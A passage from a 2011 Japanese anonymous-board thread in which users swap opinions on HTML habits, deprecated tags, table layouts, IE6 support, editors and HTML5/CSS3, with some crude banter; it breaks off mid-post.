374 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 18:49:27.88 ID: /g3Ka7jiO
マーキームーンとブランクジェネレーションかよ


375 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 18:50:05.00 ID: IOpsEZjE0
ν速でID真っ赤にしてる男の人って…


376 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 18:50:35.00 ID: uZ0zmUuj0
改行がわりに<p> はつこうてたわ
間違ってるのは知ってたが


377 名前: 名無しさん@涙目です。(京都府) Mail: 投稿日: 2011/04/19(火) 18:54:00.09 ID: BBpeaV0f0
今時html手打ちしてるやつているの?


378 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 18:54:55.13 ID: WmuhsGwl0
>>376
css実装前だとむしろ<p<なんて何に使うのって感じだったが、今は「あ~、なるほどねぇ」と心から思う。


379 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 18:57:30.81 ID: 06qqefFG0
htmlタグ打ちだけに限定してるのか。オールFlashでページを作成しないもいれとけ

あとtableでレイアウトが入ってないのは書くのも憚るほどなのか


380 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 18:58:00.52 ID: 4Tg7CAOFP
>>377
むしろ手打ちが出来ないやつがDW使うとか危険すぎる。


381 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 18:59:17.17 ID: nC+3mrQGP
さすがにホームページビルダーのノリでDreamweaver使うやつはいないだろ


382 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 19:00:44.92 ID: 06qqefFG0
>>371
無駄でも何でも良いエディターあるならあげるべきだぞ。俺も知りたい


383 名前: 名無しさん@涙目です。(不明なsoftbank) Mail: sage 投稿日: 2011/04/19(火) 19:01:37.37 ID: 2lwMgRes0
今日作ったんだけどどう
http://muxko.dousetsu.com/



384 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 19:02:09.34 ID: jDLhJK940
>>377
なにいってんだ、手打ちが基本であり究極だろ


385 名前: 名無しさん@涙目です。(千葉県) Mail: 投稿日: 2011/04/19(火) 19:02:48.89 ID: hEo1zVTI0
Silverlightとはなんだったのか


386 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 19:04:24.02 ID: mPmFPr+CP
タグ手打ちできないとIE6は倒せない


387 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 19:05:10.52 ID: 93Oxk/fE0
tableでレイアウトが駄目なのは解ってるけど直すのめんどくさくて…


388 名前: 名無しさん@涙目です。(関西・北陸) Mail: 投稿日: 2011/04/19(火) 19:05:22.78 ID: MJ4E9YndO
フォントいじりはテキストサイトのオナニー


389 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 19:07:45.87 ID: 93Oxk/fE0
フォントいじりは昔流行ったねえ
面白ければそれなりに効果的なんだけど
つまらないと寒すぎて


390 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 19:08:03.27 ID: MX5h3vhs0
>>382
最近はCoda
ちょっと前はKomodo
その前はDreamweaver
出先でちょちょっとやるときはCrescentEve
て感じ


391 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 19:08:49.13 ID: tXotUSwr0
IFRAME


392 名前: 名無しさん@涙目です。(京都府) Mail: sage 投稿日: 2011/04/19(火) 19:10:22.82 ID: Qrw7SfjP0
一時期は1024x768がめっちゃ多かったからそれ以外の解像度だと汚くなるようなひどいサイトもあったよな


393 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 19:14:47.70 ID: kD3X4iso0
HTML 5.0とは何だったのか


394 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 19:18:12.52 ID: zWSFYBkcP
>>393
結局XHTML主導では
XMLの要件すらも満たせない糞XHTMLを吐くlim[n->∞]糞^nCMSと
糞オーサが多すぎたからある程度適当さを認めたり
、それでいて互換性を重視してみたり、まあとにかくそういう感じ。


395 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/19(火) 19:20:40.04 ID: nfAwOfLU0
>>126
codeditorはマジで捗るな
もうずっとDWなんて使ってないわ


396 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 19:42:49.32 ID: tqLfREoP0
>>1
単なるスト厨じゃねえかw


397 名前: 忍法帖【Lv=6,xxxP】 【東電 88.3 %】 (大阪府) Mail: sage 投稿日: 2011/04/19(火) 19:44:11.87 ID: 2tmroOyR0
見えればいいんだよ


398 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 19:45:58.16 ID: CRQ+oIjo0
7をだめとかめんどくさすぎだろ

いちいち例外にcss書いてられるかよ


399 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 19:49:22.61 ID: CRQ+oIjo0
あと、floatの解除に正確なタグ決めろや

br絡めるな


400 名前: 名無しさん@涙目です。(京都府) Mail: 投稿日: 2011/04/19(火) 19:51:41.22 ID: 3hMYQx830
そもそもHTMLとかwww


401 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 19:54:35.76 ID: WDGndDwE0
そういや点滅タグってぜんぜん見なくなったな


402 名前: 名無しさん@涙目です。(dion軍) Mail: sage 投稿日: 2011/04/19(火) 19:58:17.03 ID: pl13DxASP
未だに横幅決めうちのレイアウトがはやってる現状は打破できないものかね。
16:9で見ると余白部分がもったいないと思ってしまう


403 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 20:00:16.93 ID: IOpsEZjE0
>>402
960最強他糞


404 名前: 名無しさん@涙目です。(愛知県) Mail: 投稿日: 2011/04/19(火) 20:01:00.81 ID: 1xX0gUUe0
だって凄まじくめんどくさいし。


405 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 20:25:34.33 ID: y/NLUjk90
>>402
1行に大量の文字数は見にくいし
幅に応じてレイアウトかえるの億劫


406 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/19(火) 20:29:57.33 ID: 70fbIn490
iPhoneが最強に普及すればレイアウトなんて解決するのに


407 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 20:37:45.39 ID: JryTDY8w0
>>281
俺もなんかそんなことを思った
bタグなんやらのくだりを見て


408 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 20:38:42.00 ID: JryTDY8w0
あとbrもつかいてえなぁ
pだと上下に改行入るんだもんよ
いちいちこまぎれにp設定すんのもめんどくねえか


409 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 20:40:50.37 ID: IOpsEZjE0
>>408
> pだと上下に改行入るんだもんよ

入らないだろ


410 名前: 忍法帖【Lv=10,xxxPT】 (東京都) Mail: 投稿日: 2011/04/19(火) 20:42:25.96 ID: 4HIt/UuB0
blink182


411 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 20:42:27.75 ID: kD3X4iso0
>>402
サイドの余白はデザインセンスの問題だろ


412 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 20:43:47.15 ID: JryTDY8w0
>>409
はいんねーかwごめん
にわかでサーセン 勉強しなおしてくるわ


413 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 20:44:02.25 ID: MX5h3vhs0
>>408
(;゚Д゚)


414 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 20:45:37.99 ID: 4Tg7CAOFP
>>408
お前は改行とpタグがそれぞれ持ってるオフセットのmarginの値を
勘違いしてる。


415 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 20:47:27.33 ID: mPmFPr+CP
reset.cssくらいいれろよwww


416 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/19(火) 20:48:51.19 ID: cyvTMC8h0
>>402
>>960使わない男の人って


417 名前: 名無しさん@涙目です。(岩手県) Mail: 投稿日: 2011/04/19(火) 20:49:13.79 ID: lwV51Kqh0
懐かしノリだなぁ
お絵かき掲示板とかよく行ってたわ


418 名前: 名無しさん@涙目です。(兵庫県) Mail: 投稿日: 2011/04/19(火) 20:50:07.98 ID: fZY/Druw0



バナーはお持ち帰りでお願いします

あなたで 0000000075 人目のお客様です 


419 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 20:56:10.14 ID: zWSFYBkcP
昔とんでもないキリ番踏んだことがある。
報告してくださいとか書いてあったけど、そのまま放置。


420 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 20:59:10.56 ID: JryTDY8w0
>>413
>>414
はずかしいwwwwwww
もうやめて触らないでwwww
真面目に勉強してくるからwww


421 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 21:10:33.73 ID: 2zOaJzaB0
>>185
だよ
ホームページビルダー使っているプロのWEBデザイナーというか会社あるよ
そこの人は広く使われているから便利らしい


422 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 21:15:48.50 ID: bHU7Qmjt0
-webkit-transformと-webkit-transitionには感動した


423 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 21:18:41.71 ID: MX5h3vhs0
>>421
あるな、正常に表示されればなんでもおkなのにな
だがDreamweaver、おまえは糞だ


424 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 21:22:57.17 ID: WmuhsGwl0
死ぬまでその糞コードをメンテしてくれるというなら、他に迷惑もかからんからおk


425 名前: 名無しさん@涙目です。(愛知県) Mail: 投稿日: 2011/04/19(火) 21:33:55.26 ID: NsBO5efN0
グーグル翻訳の
翻訳結果をコピペすると変なタグまで一緒についてくるから嫌


426 名前: 名無しさん@涙目です。(鹿児島県) Mail: sage 投稿日: 2011/04/19(火) 21:34:02.02 ID: HPcHLhNZP
「HPをなにで作ってる」系のスレで「メモ帳」って言うやつの半可通ぶりがすごい。


427 名前: 名無しさん@涙目です。(千葉県) Mail: 投稿日: 2011/04/19(火) 21:35:25.38 ID: 2cBduEaG0
StyleNoteが好きだ


428 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 21:37:00.48 ID: bHU7Qmjt0
terapadで万全


429 名前: 名無しさん@涙目です。(関東・甲信越) Mail: sage 投稿日: 2011/04/19(火) 21:37:33.88 ID: IaXnGLlNO
してはいけない(戒め)


430 名前: 名無しさん@涙目です。(関西地方) Mail: 投稿日: 2011/04/19(火) 21:43:13.77 ID: 4wR6+Nn+0
2ちゃんねる
http://www.2ch.net/
http://info.2ch.net/guide/

ソースの一部

<img src="http://count.2ch.net/ct.php/index" width="88" height="31" border="0" alt="ちゃっかりカウンター"></a>

<tr align="center">
<td bgcolor=#00AA00><a href="./faq.html"><font color=#FFFFFF><b>使 い 方 & 注 意</b></font></a></td>
<td bgcolor=#5555FF><a href="./map.html"><font color=#FFFFFF><b>全掲示板&案内</b></font></a></td>
</tr>
<a href="./faq.html#A0">2ちゃんねるって?</a><ul><font size=2>
<a href="./faq.html#A1">2ちゃんねるってなに?</a><br>
<a href="./faq.html#A2">2ちゃんねるは誰がやってるの?</a><br>
<a href="./faq.html#A3">2ちゃんねるはアングラなの?</a><br>
<a href="./faq.html#A4">2ちゃんねるは本当に匿名なの?</a><br>
<a href="./faq.html#A5">2ちゃんねるをもっと知りたいんだけど?</a><br>

---------------------------------------
<font color><b>とか<br>とか思いっきり使ってる
画像の属性<border>も使ってる
<h>タグは全然使ってない。


431 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/19(火) 21:49:54.86 ID: S+dqquHb0
アースソフトのサイトが貼られてないとか
ttp://earthsoft.jp/


432 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 22:02:22.48 ID: NljqhJ0N0
>>4
おいやめろ


433 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 22:50:02.03 ID: kD3X4iso0
手打ち至上主義じゃないけど
外部スタイルシート作成する時は自然と手打ちになるくね?
CMSのデザインも手打ちじゃね?
そうなってくるとどうしてもHTML も手打ちしてしまうわ。


434 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 23:01:41.01 ID: WmuhsGwl0
前もって設計しておくことは必要だけど、過度に設計を詰めると、既に頭の中でコーディングが終わってたりする
→じゃあ全部手打ちでいいんじゃね?

んで結果、余分な時間を食うと…

お前らも設計は程々にしとけよ。どうせ不具合の一つや二つ出るんだから。


435 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 23:13:34.19 ID: zWSFYBkcP
>>433
テンプレはそれでいい。量産団塊で手打ちしてたら打首。


436 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/19(火) 23:47:03.36 ID: PEL8HDWUP
display:table-cell;とinline-block;が使えないからie6,7死ね


437 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/20(水) 00:19:46.13 ID: ZVOUtbLW0
結局こんなつまらない事にこだわるのは底辺中の底辺のwebデザイナー()だけだろ
個人で言ってたら病気としか言えない


438 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/20(水) 01:25:30.39 ID: bWZ1SOe60
余裕で<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


439 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 01:29:11.23 ID: jQGTlCGX0
タグめちゃくちゃでも検索エンジンの順位に全く影響ないしな


440 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/20(水) 01:34:41.76 ID: b848ahwU0
>>437
個人で言ってたら病気
上級webデザイナーで言わなかったら病気

この違い、お前なら分かるよな?


441 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 01:35:19.01 ID: FqVXVZNo0
iWebで作ってるわw


442 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 01:36:58.11 ID: rBJ4x81s0
>>430
2chのソースメンテしてないんだな
10年前の書き方だな


443 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 01:36:59.21 ID: bvGMEsVy0
古くないか?10年前のネタか?


444 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 01:40:53.88 ID: l1u08jeP0
>>433
フリーのCSSエディタって国内じゃあんまないんだよな


445 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 01:41:04.95 ID: rBJ4x81s0
>>377
そもそも最近はそんな複雑なhtml書かないから手打ちで充分だ
だいたいJavaScript系のライブラリで画面操作するからHTML書く必要がない


446 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 01:42:04.65 ID: ySWQYdP20
IE6対応


447 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 01:42:46.60 ID: p9khNOhV0
正直HTML5とCSS3の流れについて行けない
技術としてはわかるんだが、結局導入しちゃっていいのか?
古いブラウザでの扱いはどうなるんだ?html5.js入れておけば大丈夫なのか?


448 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 01:42:58.67 ID: YgpmHWY8P
>>436
中堅WEB制作会社が、inline-block多用して納品してきて
バグだらけなあげくコメントハック使ったせいでシステム組み込みが難航して
結局作り直しが多発したことあったなー。

IEは死んでほしいけど、ハック()駆使したオナニーコード書き直すはめになって
徹夜したときは殺意が湧いたわ。


449 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/20(水) 01:44:39.25 ID: nivKFKFe0
>>30
フレームってどうなの


450 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 01:45:02.17 ID: l1u08jeP0
>>447
アニメーションとかの定義見てると馬鹿じゃねーのとは思う


451 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/20(水) 01:55:29.45 ID: EAd8Z8j70
HTMLを書くことを仕事にしてる人は、ある程度まともに書く必要があるけど、

普通は何かコンテンツを公開したくてWeb製作するわけだから、
HTML書くことに拘って、コンテンツが疎かになるのは本末転倒


452 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:31:37.44 ID: rBJ4x81s0
>>451
アホだろ
HTMLを馬鹿みたいな書き方で書くからコンテンツも疎かなものしかできないんだよ
後からろくにメンテナンスもできない、レイアウトがいい加減なゴミHTMLを書かないために生み出されたのが
CSSだ


453 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 02:39:18.02 ID: bvGMEsVy0
>>451
ネット初心者はそういう事言うけど
ホームページ作成ソフトが出来たことで、コンテンツの質が上がったか?
ブログの普及でコンテンツの質が上がったか?
タンブラーの普及でコンテンツの質が上がったか?
mixiの普及でコンテンツの質が上がったか?
ツイッターの普及でコンテンツの質が上がったか?


454 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:43:53.38 ID: p9khNOhV0
俺は>>451に同意だな
そもそもシステム開発者が、システム開発者以外に技術を要求するようなものではいけないはず
良い小説家が印刷システムについてしらなければいけないということはないし、
コンテンツを作る人間は、システムを意識しないでコンテンツを作ること自体に注力できることが重要だと思う
ただ、現時点ではライターやデザイナーが完全にシステムを意識しないでコンテンツを作るのは難しいので、
多少は理想論的な話になってしまうけど


455 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:48:32.45 ID: rBJ4x81s0
>>454
建築工学を全く知らない奴が建築デザインはできないだろ
物理的に不可能な構造の物をデザインしたところで、それが実現できなかったら何の意味もない

デザインってのは最低限の機能が大前提なんだよ
何を今更な話してるんだ

ちなみにWebデザイナーはHTMLやらCSSの最低限のことしか知らないし、それでぐちゃぐちゃなソース書く
それを綺麗にするのがシステム屋


456 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:49:08.36 ID: Z9vw4CoE0
IE・FF・Chromeで同じ表示になったらなんだっていいんだよ


457 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:49:37.89 ID: D1lREMPa0
Autopager使って初めてHTML構造の重要性に気付いたわ


458 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 02:50:42.68 ID: FqVXVZNo0
IE、FFは糞。とくにIEは死ね。
サファリーとクロムあればいい


459 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:53:23.18 ID: p9khNOhV0
>>455
確かにCMYKをわからないやつにDTPは出来ないとは思うが、今のHTMLやCSSの技術は
そういう範囲を超えて、過剰にシステム寄りになってしまっていると思うよ
建築ほど大仰のことではないはずなのに、一般人(デザイナ-)には全く理解できない複雑さはいかがなものかと


460 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/20(水) 02:55:15.05 ID: xroqD+UK0
私のホームページへようこそ
でググると、10年前で時代が止まったページがたくさん見つかる


461 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:56:53.97 ID: rBJ4x81s0
>>459
デザイナーは一般人じゃないんだって
世の中の建築物は一級建築士が造ってる
奴らは構造力学も学んでるしCADの図法も学んでるプロ

車とかのデザインだって何も工学知識がない奴が書いてる訳じゃない
システムだってただの絵じゃなくてシステムを使えることや機能面の問題があるんだから、システムのこと何も知らない素人がデザインしていいわけはない


462 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 02:56:59.14 ID: mGseN+4U0
>>459
インデントする癖をつけたらよっぽどの馬鹿でなければ理解できるっての
javascriptを理解するのが難しいってのはわかるけどHTML・CSSは中学生・高校生でもできるわ


463 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 02:57:30.28 ID: 6yhmOTNNP
これスレタイなんてささいなことだろ
むしろHTML5を巡って独自実装が繰り返されてる現在に警鐘をならさなきゃいけないのに
marqueeなんてIEが独自性をアピールするために追加したタグだろ
そういうことがHTML5でも起こり得るってことだよ


464 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/20(水) 03:02:11.98 ID: 3IH3XIBN0
気象庁だかでかなり<div>を多用してるページがあったような


465 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 03:02:39.82 ID: p9khNOhV0
>>461
ウェブでのコンテンツの発信は建築や車のデザインよりも出版に近いと思うんだけど


466 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 03:06:54.63 ID: rBJ4x81s0
>>464
<div>なら問題ない

>>465
本や絵とウェブは決定的に違う
システムってのはユーザの行動に対応した動きや振る舞い、見せ方をするからな
ただデザインを見せるだけではなく何らかの機能を持っているのがWEB
ただ文章を見せるだけのサイトもあれば、ERPを行うサイトもある

だいたい製作過程的に建築に例えられるしな


467 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/20(水) 03:17:06.86 ID: 3IH3XIBN0
経済産業省だった
しかも多用ってレベルじゃなかった
http://www.meti.go.jp/speeches/data_ed/ed041222-2j.html


468 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/20(水) 03:17:14.61 ID: 70sE15MxP
>>459
DTP屋だけどweb屋は覚える事どんどん増えるし、クライアントにはったりかます為に
どんどん複雑にしてるよね


469 名前: 名無しさん@涙目です。(千葉県) Mail: sage 投稿日: 2011/04/20(水) 03:18:32.20 ID: YVFxWrzA0
>>463
事実上Webkitが標準になってきてるのに何でこんなに怖がるんだろ。


470 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 03:21:51.66 ID: y8Use6f/0
BRタグ2個打ちはダメなんだ。


471 名前: 名無しさん@涙目です。(空) Mail: 投稿日: 2011/04/20(水) 03:26:02.89 ID: +cxi11DR0
ネット見てる奴みんながソースまで見てるわけじゃないし。
でも潔癖な連中は妥協を許さないんだろうな。


472 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 03:26:06.11 ID: 6yhmOTNNP
>>469
まあそうなんだけどHTMLってデファクトで押し切るもんでもないだろ
むしろそれが先のタグ混乱を引き起こしたとも言える


473 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/20(水) 03:29:44.20 ID: ftuzcT0T0
css嫌い


474 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/20(水) 03:30:05.98 ID: 5o02DZGl0
<a>閉じてなくても動作する、そのテキトーさがHTMLのいいところ


475 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/20(水) 03:32:08.42 ID: JqzHW0nzP
みんなブログ使えよ


476 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/20(水) 03:34:12.93 ID: Ve4l/4jf0
ブログでタグ打ちしてるわ


477 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/20(水) 03:36:43.10 ID: xyWO509w0
>>4
英語圏の人もこういうHP作ってたのかな


478 名前: 名無しさん@涙目です。(関西) Mail: 投稿日: 2011/04/20(水) 03:37:31.54 ID: yl53ZNNDO
セーラームーンマーキュリー


479 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/20(水) 04:15:05.19 ID: ANkZdOHa0
ヨーロッパはしらんが、アメリカはもうIE6は完全に無視したマークアップが標準だよね


480 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 05:02:35.58 ID: Z9vw4CoE0
>>479
その通り
日本でIE6が未だに一定のシェアがあるのはWEB屋が原因のひとつ
いつまでもIE6サポートしてる糞WEB屋大杉


481 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 05:10:28.09 ID: YgpmHWY8P
>>480
そらユーザー目線でしか知らない物言いだな。

どんなに新しい技術使いたくても、アクセス解析からコンバージョン上げないと
いけないのが企業。んで、誠に残念なことに、IEはサポートしないからよろしくって
言えるほど骨太で白雉なマーケはいないんだよ。

ユーザーが求める限り、それに対応し続けなきゃいけない辛さは死にたくなるぜ。


482 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/20(水) 05:14:56.44 ID: ZyEPQtsZ0
アメブロのHTMLタグの汚さは半端ねーな
あそこって仕様作ったヤツ本気で馬鹿だろ
中学生レベル


483 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 05:22:04.15 ID: Z9vw4CoE0
>>481
とっても日本的な考えですね^^


484 名前: 名無しさん@涙目です。(秋田県) Mail: sage 投稿日: 2011/04/20(水) 05:33:29.21 ID: z2RhiiNX0
ブログやSNSが流行りだしてから、すっかり疎くなってしまったな


485 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/20(水) 05:37:03.61 ID: 5lfEeq3q0
ブラウザが強制的に正確な記述以外受け付けなければ良かったんだよ
適当にごまかすから酷いことになる


486 名前: 名無しさん@涙目です。(dion軍) Mail: sage 投稿日: 2011/04/20(水) 06:19:04.19 ID: F1MVPbLQ0
>>483
htmlスレはにわかの巣窟


487 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 08:18:20.82 ID: 5m3ozvMV0
(´・ω・`)<marquee>タグとか昔のエロサイトではよく頭にきたものだお


488 名前: 名無しさん@涙目です。(関西地方) Mail: sage 投稿日: 2011/04/20(水) 08:41:05.02 ID: AY6Lf61a0
HTML5を簡単に解説したサイトなし


489 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 08:42:19.90 ID: Yh9+8K7x0
>>462
CSSは記述も難解だし、暗黙の前提が不透明でわかりにくい。


490 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/20(水) 08:44:02.06 ID: 8MUPh4yO0
font color駄目なのかよブログとかだとCSSで指定しろというのか


491 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/20(水) 08:48:16.04 ID: 9uML1feQ0
テーブルレイアウトが最強。
tableを使えばどんなレイアウトでも簡単にできる。
tableに不可能なことはない。

逆にcssは扱いづらいから、どこのサイトもテンプレみたいな同じようなサイトばかりになる。
cssはデザインの幅を狭めてる元凶。


492 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 08:56:14.39 ID: Yh9+8K7x0
>>491
1pxすぺーさーおいしいです(^q^)


493 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/20(水) 08:57:50.39 ID: c4rnCVIA0
strongタグって1ページに何回も使うとSEOでよくないって聞いたんだけど…
だからstrongタグを1ページ1つにして後は<b>使ってた。どうすりゃいいのよ!


494 名前: 名無しさん@涙目です。(宮城県) Mail: 投稿日: 2011/04/20(水) 08:58:08.64 ID: p/jgKO+i0
>>490
ブログの利用ってサイト構築と同列に語れるのか?


495 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/20(水) 09:03:58.94 ID: Yh9+8K7x0
>>493
.strong { font-weight:bold; }

<span class="strong">太い</span>
じゃね?


496 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/20(水) 09:10:37.24 ID: 8MUPh4yO0
>>494
ガワとコンテンツは別物といえばそうだな
同列に語っていいかは怪しいか


497 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 09:12:07.56 ID: mGseN+4U0
お前ら相当レベル低いな


498 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/20(水) 09:14:55.99 ID: cN89Weqb0
>>494
ブログでもフリーデザインのテンプレだと、弄るソースはスタイルシートが主だったりする。
用意されてるcssによっちゃ、「このクラスどこのだよ…」ていうグチャグチャなものもあったりと。

他人の書いたソースを読めるかどうかが試されるな。
弄ろうと思ったら、むしろサイト構築の応用編みたいな趣きがある。


499 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/20(水) 09:16:52.06 ID: mGseN+4U0
>>498
> 用意されてるcssによっちゃ、「このクラスどこのだよ…」ていうグチャグチャなものもあったりと。

ド素人乙^^
ん?改善される方法教えてほしい?ん?


500 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/20(水) 09:19:15.17 ID: cN89Weqb0
>>499
もっと早く言えよ
全部書き直して絶賛運用中だわクソが


501 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/20(水) 09:52:58.91 ID: AJ3DQxzH0
HTMLとCSSの現物あわせ感は異常

100GFlops近い性能の計算機を使ってて
何でこんな泥縄やってるんだろうって虚しくなる


502 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/20(水) 10:03:36.35 ID: 0x+C4fEH0
>>501
だよなw


503 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/20(水) 10:03:47.83 ID: qooNlbYz0
ブラウザによって表記が違いすぎるのが面倒
IE、ちょろめでは表示されてたのに火狐だとレイアウト崩れてることもままあるし


504 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/20(水) 10:12:40.93 ID: B4MpdsoL0
>>459
大昔は誰もが自分で穴掘って暮らしてたけど、今では専門家が図面を引いて専門家が
